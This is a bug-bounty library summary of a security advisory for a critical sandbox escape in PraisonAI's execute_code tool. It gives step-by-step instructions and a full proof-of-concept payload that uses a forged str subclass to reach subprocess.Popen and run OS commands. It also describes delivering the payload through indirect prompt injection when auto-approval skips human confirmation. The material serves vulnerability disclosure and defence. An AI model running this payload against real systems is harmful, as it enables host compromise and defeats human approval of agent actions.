# PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code

PraisonAI's execute_code sandbox guard checks name.startswith('_') on a str subclass whose startswith is overridden to return False, allowing __subclasses__ walk to Popen and OS command execution.

- Payout: Research
- Severity: critical
- Program: PraisonAI
- Found by: YeranG30
- Disclosed: 2026-04-01
- CVE: CVE-2026-34938
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-6vh2-h83c-9294
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-6vh2-h83c-9294
- Tags: area:ai domain:ai impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:prompt-injection vuln:rce vuln:sandbox-escape

**Target:** Python code execution sandbox (execute_code / _safe_getattr) in praisonaiagents
**Root cause:** _safe_getattr only checks isinstance(name, str) and name.startswith('_'), so a str subclass with an overridden startswith() bypasses the underscore guard; type() is whitelisted in safe_builtins, letting the attacker construct that subclass without the class keyword.
**Steps:**
1. Import execute_code from praisonaiagents.tools.python_tools.
2. Build a str subclass via whitelisted type(): `FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})`.
3. Construct dunder attribute names as FakeStr from joined char lists (e.g. `FakeStr(''.join(['_','_','m','r','o','_','_']))`) so the guard's startswith returns False.
4. Walk `getattr(type(()), '__mro__')[1].__subclasses__()` to find the class with `__module__ == 'subprocess'` and `__name__ == 'Popen'`.
5. Instantiate `cls(['id'], stdout=-1, stderr=-1)` and read output via communicate() to confirm RCE.
**How found:** Noticed the guard relies on isinstance(name, str) plus name.startswith('_'); since isinstance accepts subclasses and type() is whitelisted in safe_builtins, a str subclass with a lying startswith() defeats the underscore filter, enabling the classic __subclasses__ walk to subprocess.Popen.
**Exploitation:** Attacker-controlled Python passed to execute_code() (e.g. via indirect prompt injection in an agent pipeline) escapes the three-layer sandbox and runs arbitrary OS commands as the process user; deployments using bot.py/autonomy_mode.py/bots_cli.py default PRAISONAI_AUTO_APPROVE=true so no human confirmation is required.
**Escalation:** Default PRAISONAI_AUTO_APPROVE=true in bot/autonomy/CLI deployments removes the human approval gate, turning indirect prompt injection into silent host RCE.
**Insight:** When a sandbox filters attribute names by string prefix, check whether the name type can be subclassed and its predicate methods overridden; also check whether type()/getattr are whitelisted, since together they let an attacker forge objects that lie to the guard.

## Proof of concept (copied exactly from the original report)

**execute_code payload escaping sandbox to run id**

```
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1

obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
    try:
        m = getattr(cls, mod_attr, '')
        n = getattr(cls, name_attr, '')
        if m == 'subprocess' and n == 'Popen':
            r = cls(['id'], stdout=PIPE, stderr=PIPE)
            out, err = r.communicate()
            print('RCE:', out.decode())
            break
    except Exception as e:
        print('ERR:', e)
"""

result = execute_code(code=payload)
print(result)
```

